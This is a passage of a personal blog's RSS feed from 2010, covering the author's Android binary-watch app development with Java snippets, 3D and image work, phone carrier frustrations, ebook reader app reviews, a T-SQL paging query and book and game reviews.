<pubDate>Sun, 25 Apr 2010 21:26:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2010.html#250420102126</link>
<description>
New domain for the random silverlight bits.
<a href="slsushi.co.uk">slsushi.co.uk</a>
</description>
</item>
<item>
<title>Bye bye scribblenauts its be fun</title>
<pubDate>Sun, 25 Apr 2010 21:16:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2010.html#250420102116</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Jan2010.html#110120102211">Scibblenauts</a> <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#090120102151">again</a>.
Finally completed every single challenge once and it was some journey, from riding a bicycle past an angry bear, using black holes to rid myself of planes, creating zombies/vampires and all manor of creature to advanced roping of flying dinosaurs, assisting aliens and giants to wiping out rabid woodland creatures to driving at 88 mph while being stuck by lightning, the list goes on and on.
so have I completed the game ? well I unlocked all the unlockable characters (bar one) and all the music and all the backgrounds, but no.
There are 220 levels but to 'complete' the game and unlock the final character you have to play each level FOUR times.
Once to show you can complete it and three times in a row each time without reusing anything used in previous successful runs (you can use what items were summoned in the original completion run, but only once).
So technically you only have to create three lots of different objects even though you play the level four times.
So, for some of the levels I have got 'Gold star' for completing them three different ways but for others just completing in once was hard work. 
Three months on I have put down scribblenauts and moved on to <a href="http://en.wikipedia.org/wiki/Professor_Layton_and_the_Curious_Village">Professor Layton and the Curious Village</a>, thank you Jane !!
</description>
</item>
<item>
<title>good old orange and the factory reset</title>
<pubDate>Sun, 25 Apr 2010 21:02:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2010.html#250420102102</link>
<description>
FYI the following happened some weeks ago ...
I have been pretty <a href="http://www.jumpstation.co.uk/flog/Feb2010.html#060220102218">heavy</a> on Orange since I <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#110120102226"joined them</a> so its nice to be able to give them some positive feedback.
after getting the latest DEXT update(automatically from Motorola) the screen intermittently would go very bright. a better way of describing the fault is high contrast. the phone has no contrast settings and the brightness controls made almost no difference. 
after searching online and finding nothing but a hard reset
<code>1. Holding the Camera button while turning on your phone,
2. When prompted hit the Volume-Down rocker button to go into Recovery Mode.
3. After you get into Recovery Mode,
4. Press ALT+L to reset, then Menu+Back to reboot.</code>
and that failing, I rang orange. none of the menu items mention a faulty phone but eventually I did get through to someone. we did a factory reset to no avail and she arranged for a new phone to be delivered within 24hrs and for the old one to be picked up, no fuss no muss.
And that is what happened, now I just need to rebuild all my settings and install my favourite apps.
</description>
</item>
<item>
<title>About and about re-orientating binary watch</title>
<pubDate>Wed, 21 Apr 2010 08:23:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2010.html#210420100823</link>
<description>
The about screen was very easy to add<code>import android.app.AlertDialog;

private void AboutDialog()
{
	new AlertDialog.Builder(this)
	.setTitle("About Binary Watch")
	.setIcon(R.drawable.watch_dialog_icon_32x32)
	.setMessage("Binary Watch is my homage to the Samui Moon\n\nHere you can also show the seconds and the calculations.\n\nI could have used a photo but decided instead to render a faxsimlie using blender www.blender.org and www.gimp.org.\n\n Now when someone asks me how to read my watch I just show them my phone :)\n\nwww.jumpstation.co.uk ")
	.setPositiveButton("OK",
	new DialogInterface.OnClickListener()
	{
		public void onClick(DialogInterface dialoginterface, int i)
		{
		}
	})
	.show();
}</code>
Then on to rotation, which sounds really simple, registers some kind of event handler that fires on rotation of the phone. NO!
When the phone is rotated (and you allow the screen to re-orientate) your application is killed and re-launched with a different screen resolution(i.e. landscape instead of portrait).<code>if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE)
{
	setContentView(R.layout.main_landscape);
} else if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_PORTRAIT)
{
	setContentView(R.layout.main_portrait);
}</code>
Which worked fine, but lost all the users settings.
Next time I will look at how state is saved between transitions and even new instances.

</description>
</item>
<item>
<title>Hacking android iconography</title>
<pubDate>Sun, 18 Apr 2010 22:31:03 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2010.html#180420102231</link>
<description>
It has been a while since my i<a href="http://www.jumpstation.co.uk/flog/Mar2010.html#220320102232">last post</a> regarding Android and the <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=binary">Binary watch</a> application. This was due to a Wedding, a holiday and getting a new job.
So next up in my <a href="http://www.jumpstation.co.uk/flog/Mar2010.html#220320102202">requirements</a> was icons.
There are a lot of icons included in the standard Android OS for developers to make immediate use of (note the differences in Android releases), but none quite matched my iconography needs.
In the Android icon <a href="http://developer.android.com/guide/practices/ui_guidelines/icon_design.html#menustructure">guidelines</a> are details about size, layout, colour and I did try to follow them.
The results were UGLY so a quick play in gimp got my some nice bitmaps of the right size but that were not grey scale.
<a href="http://www.flickr.com/photos/microscopics/4532022471/"><img alt="attempted and accepted icons for binary watch" src="/images/samuimoon_watch_icons_100_117.jpg"></a>

</description>
</item>
<item>
<title>easy android its just a menu</title>
<pubDate>Mon, 22 Mar 2010 22:32:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#220320102232</link>
<description>
Menus in Android applications all have the same GUI look &amp; feel via some very handy APIs.
<code>/* Creates the menu items */ 
public boolean onCreateOptionsMenu(Menu menu) {
    menu.add(0, MENU_SECS, 0, "Seconds").setIcon(R.drawable.android_icon_seconds);
    menu.add(0, MENU_TEXT, 0, "Calculations").setIcon(R.drawable.android_icon_calculations);
    menu.add(0, MENU_INFO, 0, "About").setIcon(android.R.drawable.ic_menu_info_details);
    return true;
}

/* Handles item selections */
public boolean onOptionsItemSelected(MenuItem item) {
    switch (item.getItemId()) {
        case MENU_SECS:
        ToggleSecondsDisplay();
        return true;
        case MENU_TEXT:
	ToggleText();
	return true;
	case MENU_INFO:
	AboutDialog();
	return true;
    }
    return false;
}</code>
Does not get much simpler than that.
There are some nice <a href="http://www.connorgarvey.com/blog/?p=41">tutorials</a> and google have lots of <a href="http://developer.android.com/guide/practices/ui_guidelines/icon_design.html#menustructure">details</a> on the icon requirement.
The same is true of application icons but in the end I just scaled a screen shot of the application to 32x32.
</description>
</item>
<item>
<title>what version is the android</title>
<pubDate>Mon, 22 Mar 2010 22:02:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#220320102202</link>
<description>
It was all working so perfectly in the emulator and after a few minutes reading signing documentation I realised that eclipse would do everything for me an created an .APK file.
Copied it to the phone and used <a href="http://www.androlib.com/android.application.com-agilesoftresource-jjxA.aspx">AndroZip</a> to install.
Default Android icon appeared and I tapped it to start ... oh dear!
All the LED's were in the wrong place and the  <a href="http://www.flickr.com/photos/microscopics/4433571062/">composited image</a> was scaled badly!
What had gone wrong ?
I had assumed that due to the date I received my phone that it would be running Android version 1.6 and so had set the emulator up as 1.6.
The DEXT is currently running 1.5 (update expected Q2 2010) and appears to do screen scaling slightly differently.
<a href="http://en.wikipedia.org/wiki/Android_%28operating_system%29#Update_history">Android version history</a>
After I configured the emulator to run Android 1.5 it clearly showed the issues seen on the phone so I rejigged my layout from relative to absolute.
Now that works I need a few extras:
Menu - turn the seconds and calculation on and off and an 'About' screen.
Icons - for the menu
Icon - for the application
Rotation - rework the layout when the phone is in landscape vs portrait mode.
</description>
</item>
<item>
<title>another row of LEDs for seconds via countdowntimer</title>
<pubDate>Sun, 14 Mar 2010 22:33:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#140320102233</link>
<description>
Imported the <a href="http://www.flickr.com/photos/microscopics/4433571062/">composited image</a> back into eclipse and my work was done (after I shifted the LEDs to fit).
But I wanted more, why show just the hours and minutes when the code could be called to generate just one more line of six LEDs and show the seconds ?
Added the few lines to add the LEDs and then calculate the correct value and ... I hit a road block.
There are plenty of examples using the <a href="http://www.jumpstation.co.uk/flog/Mar2010.html#140320102103">TICK</a> code but that only fires once a minute.
Out of a number of solutions I decided on the simplest to implemented.
<code>RepeatTimer SecondTimer;
SecondTimer = new RepeatTimer(1000,200);
SecondTimer.start();
</code>
The <i>1000</i> is the total number of milliseconds that the CountDownTimer is due to run and the <i>200</i> is the number of ms before an event is fired.
I use the event to update the seconds, if it was once a second then the display may not update.
When the count down is completed simply restart it.
<code>
public class RepeatTimer extends CountDownTimer {

	public RepeatTimer(long millisInFuture, long countDownInterval) {
		super(millisInFuture, countDownInterval);
	}

	@Override
	public void onFinish() {
		this.start();
	}

	@Override
	public void onTick(long millisUntilFinished) {
		Time time = new Time();
		time.setToNow();
        	UpdateLEDS(LLSeconds,DecToBin( time.second,6));
        	if (LLTextForm.getVisibility()==View.VISIBLE) {
        		TVSeconds.setText(DecToCalcString( time.second,6));
        	}
	}
}
</code>
</description>
</item>
<item>
<title>the gimp composite from blender and inkscape made all dirty</title>
<pubDate>Sun, 14 Mar 2010 22:16:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#140320102216</link>
<description>
Although the <a href="http://www.flickr.com/photos/microscopics/4432656097/in/set-72157623463877509/">initial renderings</a> looked good they still needed the face added and to be 'dirtied up'.
I remember seeing a interview regarding the original <a href="http://en.wikipedia.org/wiki/Toy_story">Toy story</a> and how the most time was spent 'dirtying-up' all the sets. It is easy to render a perfect ball but, it takes a lot of work to make that ball appear photo realistic due to the imperfect nature of actual 'things'.
I also noted that the rendered watch case looked good with a main light source at the top but it appeared harsh and 'false'. Re-rendered the image with the light at the bottom but layered the two renders together. the result is a huge improvement(see the side by side images below).
After applying the dirt I also added very simple detail to the circuit board entities, some text of the ICs and shading for the resistors.
<a href="http://www.flickr.com/photos/microscopics/4433571062/"><img alt="screen shot of inkscape with circuit board layout" src="/images/samuimoon_gimp_composite_111x85.png"></a>

</description>
</item>
<item>
<title>inkscape and the simple circuit</title>
<pubDate>Sun, 14 Mar 2010 21:52:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#140320102152</link>
<description>
ne of the key objectives of this project was not to create a duplicate of the <a href="http://www.flickr.com/photos/microscopics/4421100384/in/set-72157623463877509/">samuimoon binary watch</a> but, to recreate it.
Hence the watch case strap connectors are not 'square' and the face is different.
I did not look at the watch while creating the face, I just concentrated on the fact that the face was a circuit board and that it was not very prominent.
The next open source tool I used was inkscape. I created two layers one for the track, which was just a collection of lines with terminating circles and 45(ish) degree bends. 
The second layer was for the resistors and ICs, very simple and then duplicated to appear at the end of common tracks.
The vector nature of inkscape allowed me to tweak this basic idea until I exported it to gimp for the final composite.
<a href="http://www.flickr.com/photos/microscopics/4432752863/"><img alt="screen shot of inkscape with circuit board layout" src="/images/samuimoon_inkscape_100x96.png"></a>

</description>
</item>
<item>
<title>blending the binary watch body</title>
<pubDate>Sun, 14 Mar 2010 21:33:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#140320102133</link>
<description>
It was time to start making it look pretty.
Using blender was quick and relatively painless. A quick curve (2D shape) that represented the outline of a cross section of the watch case was rotated (as a mesh) to create the circular component. Then another curve extruded created the strap attachments and finally the strap itself is created in the same way.
The end pieces were further refined and hole 'dug' out for the strap to attach.
The black leather is lumpy (normals) noise and the metal has subtle amounts of noise to give it a slightly 'brushed' look.
I almost forgot the buttons which are just cylinders with smoothed ends.
<a href="http://www.flickr.com/photos/microscopics/4433431562/in/set-72157623463877509/"><img alt="blender editor creating the binary watch model" src="/images/samuimoon_binary_Watch_blender.png"></a>
</description>
</item>
<item>
<title>let the binary clock coding begin</title>
<pubDate>Sun, 14 Mar 2010 21:03:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#140320102103</link>
<description>
First steps where to create an image of a circle, a lit LED and an unlit LED.
Gimp made short work of those and the eclipse Layout manager allowed me to mock up the layout.
Now I had the watch (as a circle set as the background) and code that set the LEDs to either on or off.
Found the android SDK alarm clock code and it is really easy to hook into the system TICK event/notification/intent.
<code>IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_TIME_TICK);
getBaseContext().registerReceiver(mIntentReceiver, filter, null, mHandler);</code>
<code>		
/*
* Event handler, time_tick etc
* replicated from AnalogClock.java
*/
private final BroadcastReceiver mIntentReceiver = new BroadcastReceiver() {
@Override
	public void onReceive(Context context, Intent intent) {
		onTimeChanged();
	};</code>
	<i>onTimeChanged();</i> does some simple bit shifting to identify which LEDs should be on and off.
</description>
</item>
<item>
<title>The journey begins what is samui moon to me</title>
<pubDate>Sun, 14 Mar 2010 20:50:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#140320102050</link>
<description>
So what am I up against?
The SamuiMoon binary watch from <a href="http://www.01theone.com/products/samui-moon/sm102w2/">01theone.com</a> has changed over the years. 
There were a number of main components I wanted to retain for my Android app.
One: four blue lights to determine the hour and six to define the minutes.
Two: a circuit board back drop.
Three: Metal case and black leather strap.
Four: Some easy way of calculating the time from the display. the real one has tiny numbers under each LED.
<a href="http://www.flickr.com/photos/microscopics/4421100384/in/set-72157623463877509/"><img src="/images/samuimoon_watch_100x115.png" alt="watch binary time = 10:03"></a>
</description>
</item>
<item>
<title>Android binary watch for sloths</title>
<pubDate>Mon, 08 Mar 2010 22:06:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2010.html#080320102206</link>
<description>
Android is the new <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#120120102150">*shiny*</a> for me and as such I have felt compelled to create a simple application for my new phone.
It falls squarely into the "sloth is the mother of invention" category. A <a href="http://www.jumpstation.co.uk/binaryclock/#ihmq">binary watch</a> simulator with additional calculations and seconds.
This way when someone asks me about my watch I can just show them my phone instead of trying to explain why reading binary is <i>OK</i>.
It was quite a journey, so I hope to entertain you as I recount it.
</description>
</item>
<item>
<title>we are all doomed</title>
<pubDate>Fri, 26 Feb 2010 23:21:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#260220102321</link>
<description>
&quot;This is not a question of personal freedom, social interaction or fear of 
hackers, this is economics. How long before the data is mined and will they 
tap your vein.&quot;
I should write a book...
</description>
</item>
<item>
<title>how nice is kmail</title>
<pubDate>Mon, 22 Feb 2010 21:43:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#220220102143</link>
<description>
How nice is KMail ?
Considering how many years I have been using it (8+) I did think it was quite nice. Always seemed to have all the functions I needed and allowed me to do off the beaten track things like <a href="http://www.jumpstation.co.uk/javapopper/">JavaPopper</a>
Things started to go a bit slow, which is very unusual for my gentoo machine, in fact at one point the hard drive would not stop, everything hung and I could not ssh in.
On rebooting I started up all my terminals and kmail and xchat and ... hmm kmail is churning a lot. Kmail is still quite unresponsive. A quick renice got me off the hook for another melt down and once kmail had calmed down I deleted 40,000 messages out of my spamassin folder.
Bare in mind all those emails were training spamassin not mis-tag any messages. Restarted kmail and everything has been fine since. But it has got me thinking.
Of course the problem with using one email client for eight plus years is that the mail just builds up and up. It appears that 50,000 mails in one folder, plus large amounts spread over 20+ folders is just a little too much for old kmail.
I have started investigation into moving to thunderbird the mozilla foundations email client.
</description>
</item>
<item>
<title>Where are all the Android ebook readers when you need them</title>
<pubDate>Thu, 18 Feb 2010 21:58:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#180220102158</link>
<description>
Mr <a href="http://www.bagofspoons.net">BagofSpoons</a> <a href="http://www.bagofspoons.net/blog/2010/Feb/05#20100205ebook">recently mentioned reading ebooks on a smart phone</a> and I realised this would alleviate my <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#090120102058">issues with print media.
So off I trotted to the <a href="http://www.android.com/market"> Android app store/market</a> to find the search function had been removed. Rather than use the phones market place app I turned to http://uk.androlib.com and began my quest.
Now to me, ebooks equals either proprietary binary/DRM infested file formats such as the Kindle uses or PDF (Portable Document Format). Although there were a fair few results in a search for "PDF", only a few were readers and most seemed to upload any PDF you wanted to read to a web service that returned html. The remaining few failed miserably when I downloaded them and tried to read a PDF ebook.
Not having ever looked at this domain of entertainment I was quite taken aback from all the ebook formats that books are available in from plain text to epub and fb2.
Searching on these revealed many more applications each with varying reviews and features. I downloaded four based on reviews and format support.

<a href="http://uk.androlib.com/android.application.com-samir-compactreader-jpx.aspx">Compact reader</a> was the only one that worked out of the box, that was, to load the file I specified without changing any settings.
It happily allowed me to read the beginning of <a href="http://craphound.com/makers/download/">Cory Doctorow: Makers</a>, saving place when exiting and allowing me to continue on reopening. You can not change the brightness in this app but, it is possible to set the colours to something less glaring than black on white. I needed to bump up the font size to make it readable on the vibrating train.
The two down sides to Compact reader is the limited format support, plain text only and word wrap is missing, which seems to not be to bad until you get to a word that when split is still a valid word e.g.
<code>on the other hand, at least the down
load had started and the drinks were flow</code>
It also had the handy habit of slightly re-positioning it self when you scrolled backwards so cut of words and sentences were on a full page if you cajoled it.

The next one I got working was <a href="http://www.androlib.com/android.application.com-aldiko-android-qpiC.aspx">Aldiko</a>. It came with "the art of war" and "The invisible man" ready to read but I wanted more <a href="http://craphound.com/makers/download/">Cory Doctorow: Makers</a>.
This time it was all about epub. Had to use <a href="http://www.androlib.com/android.application.com-agilesoftresource-jjxA.aspx">AndroZip</a> to copy my file into "/sdcard/eBooks/import" and then choose import from the menu. The spinner came up indicating it was loading but then just a blank screen.
This is a full size book so I decided to give it a few moments before I gave up and low and behold with no warning the title page appeared.
This app has lots of ways to move through the pages, left-right swipes, edge taps and physical volume up/down buttons. It also has brightness control and a day/night feature for black on white or visa versa.
The number one feature was word wrap (see above) this made it a joy to read with. It correctly remembered my place in the book on exit and has numerous other features like downloading ebooks from feedburner etc.

<a href="http://www.androlib.com/android.application.org-geometerplus-zlibrary-ui-android-xwz.aspx">FBReader</a> would only handle .fb2 formatted ebooks and would only read said file from /sdcard/Books. Again it supported day/night mode and font style/size but, no brightness. The screen was highly readable with text wrapped nicely, working bookmarks and quick to load up.
What was slightly strange compared to the <a href="http://www.androlib.com/android.application.com-aldiko-android-qpiC.aspx">Aldiko</a> was the page progression processes, instead of flicking right to left or clicking the screen, you drag up the screen. Which actually produces quite a pleasant experience ( you can also set horizontal scrolling in the preferences).

Last was <a href="http://www.androlib.com/android.application.com-wordoholic-reader-pjjA.aspx">Wordoholic Reader</a>. After a number of tries at getting it pointed at the folder containing the ebooks I gave up and uninstalled and reinstalled (there was a newer version). This gave me the default settings including its preferred folder '/sdcard/wordoholic-read', so I copied my book files over and ... no titles found.  So I emailed the developer.
He replied in minutes and boy did I feel stupid, appears there is a "Refresh" button that must be selected in the "My Books" section, but strangely the same option is not available on the main screen or the titles area in "My Books", which is where it actually tells you there are no books (or lists the titles).
So it read my .fb2 file which displayed fine but what was a bit odd was the navigation. No swiping, scrolling or tapping, the only way to move forward or backward through the pages is via the physical volume buttons. Unfortunately this buttons are under the phone and quite inaccessible when in landscape mode.

My adventure is over, a clear winner has emerged and I have now read over half of <a href="http://craphound.com/makers/download/">Cory Doctorow: Makers</a> on the train with it.
<a href="http://www.androlib.com/android.application.com-aldiko-android-qpiC.aspx">Aldiko</a> !
What is interesting about the various ebook readers is not their ability to display (or not) ebooks for reading but, instead the provision for other functionality, that I was wholly uninterested in.
<a href="http://www.androlib.com/android.application.com-wordoholic-reader-pjjA.aspx">Wordoholic Reader</a> was designed to translate selected words and store them for later expansion, <a href="http://www.androlib.com/android.application.com-aldiko-android-qpiC.aspx">Aldiko</a> wants to be a one stop shop for getting and managing ebooks and <a href="http://www.androlib.com/android.application.org-geometerplus-zlibrary-ui-android-xwz.aspx">FBReader</a> is the open source "extend me" contender with <a href="http://uk.androlib.com/android.application.com-samir-compactreader-jpx.aspx">Compact reader</a> trying to be simple.

And I still want a PDF reader that treats the PDF like a book for reading rather than a large image that has to be scrolled. Maybe I should write my own.
</description>
</item>
<item>
<title>Creating a row count column in SQL</title>
<pubDate>Wed, 17 Feb 2010 21:00:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#170220102100</link>
<description>
SQL is a fun language (I mean TSQL) in that it fights any attempt to act on individual records/rows/values and forces you to deal with transactions on data sets or batches. Of course you CAN update or delete or insert ONE record but the way the server handles it is no different than you were actioning more than one.
I had the need to access data from a table in SQL where only the data from rows n - m were required and the answer was not intuitive so an example is presented here for reference.
<code>
SELECT SUB.ROW,* FROM Table T 
INNER JOIN 
(
SELECT ROW_NUMBER()
OVER (ORDER BY ID) AS ROW,
ID AS [ID]
FROM Table 
) SUB ON T.ID = SUB.ID
WHERE SUB.ROW BETWEEN 150 AND 200
</code>
So thats;
Select the sub query column ROW and everything from table.
Creating the sub query as a simple two column view with column one being the row counter.
Joining the main Table to this sub query using the common ID column.
Finally limiting the results based on the row number.
</description>
</item>
<item>
<title>Certified Novell Linux Administrator in exchange for nothing</title>
<pubDate>Fri, 12 Feb 2010 23:41:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#120220102341</link>
<description>
Would you believe that as of three days ago I am now a 
Novell Certified Linux Administrator (Novell CLA)
SUSE Linux Enterprise 11
If you had asked me last week how my studies were going I would have given you a blank expression. You see, I did not get this award from hitting the books, completing tests or even hacking scoring systems.
This was a freebie. Novell are cross partnering with the <a href="http://www.lpi.org">LPI</a> and recognise that in becoming a <a href="http://www.lpi.org/eng/certification/the_lpic_program/lpic_1">LPIC-1</a> satisfies all the same requirements as a Novell CLA.
Not sure how I feel about this, on one hand I get a nice certificate and another title to add to my CV but, surely I should have had to do something to prove that after <a href="http://www.jumpstation.co.uk/flog/Mar2005.html">all this time</a> I am still worthy !?
"Never look a gift certification in the mouth"
</description>
</item>
<item>
<title>Steven King is redeemed under the dome</title>
<pubDate>Fri, 12 Feb 2010 23:21:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#120220102321</link>
<description>
I <a href="http://www.jumpstation.co.uk/flog/Jun2007.html#120620072222">really did not like the last Stephen King book I read</a> but, I had a WHSmith voucher and apart from some <a href="http://www.google.co.uk/#hl=en&source=hp&q=science+putty">science putty</a> nothing else appealed.
<a href="http://en.wikipedia.org/wiki/Under_the_Dome">Under the Dome</a> is quoted as taking 25 years to write and it is excellent writing.
The premise is simple, a small American town is encased in a transparent dome/force field and has to cope with the human element while dome cuts them off from the rest of the world.
The military on the outside is constantly testing the domes integrity, no on knows what is causing the dome but, everyone is guessing. Religion is no comfort as the air in the dome gets worse and supplies start to dry up. Not necessary because there are none but that certain types are hoarding and not the supplies you might think are important.
Even before the dome descends, people are being murdered, under the dome trouble escalates at a pace.
It is very easy to find distinct patches of writing that echo previous Stephen King novels but, they are the good bits!
SK shows his is the master of writing interconnecting, weaving tales with complex, interesting and developing characters.
Recommend.
</description>
</item>
<item>
<title>Where are all the animated boot loaders</title>
<pubDate>Sun, 07 Feb 2010 23:18:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#070220102318</link>
<description>
I do not know why but, both the Android phones (well mine) and the iPhone have non animating boot screens.
Once you know this and are prepared its is no problem but, for both of us with our respective phones it was a worrying 30 seconds thinking the phone had failed.
Is it really too difficult to but a 'progress bar', 'hour glass', 'spinning disk' or 'scrolling kernel messages'.
At least the DEXT comes with a standard USB cable for charging and not a random proprietory docking port like the iPhone.
Speaking of the iPhone, Sarah has download a total of One app free from the app store. It was Tic Tac Toe as Alex was showing an interest in playing it (on paper) after playing with it a couple of times it now demands to be upgraded, for a price of course.
I will let you draw your own conclusions. As I have not got (and with any luck never have) an iTunes account I can not see any contents of the infamous app store so I can only comment on what others choose to install.
</description>
</item>
<item>
<title>good the bad and the ugly DEXT part review</title>
<pubDate>Sat, 06 Feb 2010 22:37:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#060220102237</link>
<description>
There is no doubt, I am loving my DEXT Android phone but, it is not perfect so I am going to try and point out faults every time I start praising its amazingness.
+ The power button allows quick access for enabling/disabling wi-fi/GPS/bluetooth etc.
- The power button that you need to use to turn on/off wi-fi/GPS/bluetooth etc is directly opposite the volume up/down buttons and it is easy to either pump up the volume or knock it dead when you are trying to hold down the power button(quick press is screen blank/lock).

+ The screen lock security can be set to pattern input rather than a code/password (though the pattern is shown as you draw it so anyone can make a mental note).
- The battery life is not great, so remember to turn off wi-fi GPS etc when not in use.

+ External silent mode slider switch.
- The touch screen has a dead zone of about 10 pixels around the edge of the screen.

+ When in a phone call tipping the phone about 45 degrees brings up all the options.
- The touch screen sometimes goes out of sync and can not be swiped or a dead zone appears where tapping is not registered.

+ 20.000+ apps available to download from the App store
- Most of them are junk or super junk, I spend time each day to trawl http://uk.androlib.com/ and expect to view 200-300 summaries, with about ten detailed views followed by one download every 2-3 days. (expect more on this and on the apps I have downloaded).
</description>
</item>
<item>
<title>Orange charge me for the wrong number</title>
<pubDate>Sat, 06 Feb 2010 22:18:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#060220102218</link>
<description>
Hopefully all the auto link kinks for DEXT are fixed.
I thought my ordeal with Orange was over, everything was working and setup.
Yeah right !
I received a delightful text from Orange suggesting I try e-billing to check my remaining minutes.
The login page asks for the phone number and a password (which I had setup a while ago thinking the infamous PUC entry would reside somewhere). But I can never remember my own phone number so I check the settings in the phone ... hmmmm that does not look right.
Digging out my CV gave me the correct number and it was not the one reported by the phone.
Phone my number and the phone rings, so thats so bad.
Log in and check my ... Oh My GOD! why is my bill twice what I expect and why is the e-billing layout so utterly unreadable !
It appears that ringing the inland revenue is my only call cost, total of &pound;5, thank you 0845.
But the rest is all data charges and it clear show I did not exceed my data allowance.
Call customer services, get passed around a few times, they double check the sales data and agree that I do not owe them a penny in data charges.
But get this, "Sir, I can not change the bill, it will come out at $$$ and you will get a credit the following month". The payment will be taken from my account even though this is not due to take place for another 20 days !
How many people, especially if they were not using much *internet* would have paid without thinking, maybe for the entire length of their contact ?
</description>
</item>
<item>
<title>saying goodbye and wammu to Nokia and o2</title>
<pubDate>Tue, 02 Feb 2010 22:21:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2010.html#020220102221</link>
<description>
Finally, almost six weeks after I tried to leave o2 I am finally free.
What to do with the old phone (Nokia 6300) ?
I was going to give it to Alex to play with but, someone suggested I see if I could sell it. I expected pennies but all the major phone 4 cash web sites were offering &pound;33 and http://www.mazumamobile.com with offering &pound;36 if I took payment in Argos vouchers.
Right now I want get all the data off the old phone and then wipe it. No problem the phone comes with a USB cable ...
Drat! the USB cable only mounts the SD card in the phone, at least I can copy all my photos.
Google around and find <a href="http://wammu.eu/">wammu</a> but it will only connect to my make and model via Bluetooth.
Look around for a cheap Bluetooth adapter, after all, they wer less than a fiver last time I looked ... nope the prices have gone up on the high street and online you double the price in P&amp;P costs.
So I borrow one and plug it into my <a href="http://www.jumpstation.co.uk/flog/May2008.html#300520082149">infamous laptop</a> (now running Ubuntu 9.1) and nothing ... no errors and no bluetooth pairing even using the command line.
<code>Bus 001 Device 004: ID 1131:1004 Integrated System Solution Corp. Bluetooth Device</code>
ran <code>bluetooth-applet</code> and pairing went beautifully.
in wammu the Bluetooth option did not find the paired device so I tried "All connection types" and it found the Bluetooth pairing ...
Set wammu to retrieve all the different types of data, from contacts to calendar to SMS messages then just make sure to use both the file menu's save options to dump all the non SMS data in one text file and all the SMS data in another.
 http://www.mazumamobile.com sent be a return envelope with the instructions not to include the memory card, SIM, battery or mains/data cables. Sent it off and got an email less than 24 hours later stating the order had been received and that the vouchers are on there way!
 Anyone need a battery and mains adaptor for a Nokia 6300 ?
</description>
</item>
<item>
<title>who knew porting was so difficult</title>
<pubDate>Sun, 31 Jan 2010 23:56:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#310120102356</link>
<description>
So I have my new phone but I still have the old number active on the old one.
I had asked o2 to give me a PAC porting code but although customer services could confirm that one had been generated they could not tell me why the system showed it had never been sent.
Requested an new one, wait five working days as per instruction... still no code.
(I got the letter twelve days later, it was dated ten days after it had been requested) 
Rang and after some messing about finally got the code read out over the phone.
I now needed to update my new Orange phone with the old number. Searched My Account pages at the Orange web site, nothing, searched the new customer pages, nothing, used the customer services help search engine ... nothing.
In fact there was absolutely no page related to PAC at all, which seems odd. Rang up and was advised that the Porting process only takes place on Wednesdays and that both phones would be taking calls on the old number during the period of 11am to 4pm.
Wait until the next Wednesday. The old o2 phone gets a message from Orange that says it is upgrading, then nothing so I do some more searching.
Finally find a <a href="http://www.business.orange.co.uk/servlet/Satellite?pagename=Business&c=OUKPage&cid=1044131463940#What%20happens%20on%20porting%20day?">page for businesss users that details the process</a>. 
Key thing being the receiving of numerous text messages and the need to reboot the phone for each one ...
But by 20:00 no further messages had come through, rang customer services and they tell me that everything is OK and that the phone I am ringing on (the Orange DEXT) has the preferred number.
Belive it or not there is more to come tomorrow...
</description>
</item>
<item>
<title>omg rotfl ftw the web site that almost killed me</title>
<pubDate>Tue, 26 Jan 2010 23:07:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#260120102307</link>
<description>
Never in the history of mankind has there been a web site like this
http://theoatmeal.com
(imaging the choir from a big budget horror film singing something emotionally powerful to get the full <s>effect</s> affect).
*WARNING* this web site almost killed me!
</description>
</item>
<item>
<title>DEXT out of the box</title>
<pubDate>Sun, 24 Jan 2010 22:32:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#240120102232</link>
<description>
DEXT phone what comes in the box:
SIM (duh!)
USB cable (Type-A to Micro-B) http://en.wikipedia.org/wiki/Usb#Connector_types
Mains adaptor for USB Type-A.
Manual (mostly detailing MotoBlur, only one half page in the entire thing mentions Android).
Headphones (in-ear, not yet opened)
Radiation guide.
DEXT (battery already installed and with some charge).
2gig micro SD.

DEXT phone what the hardware is like:
Feels solid, mostly metal, nice size.
Standby/Connectivity button is opposite the volume up/down button, which can cause 'problems'.
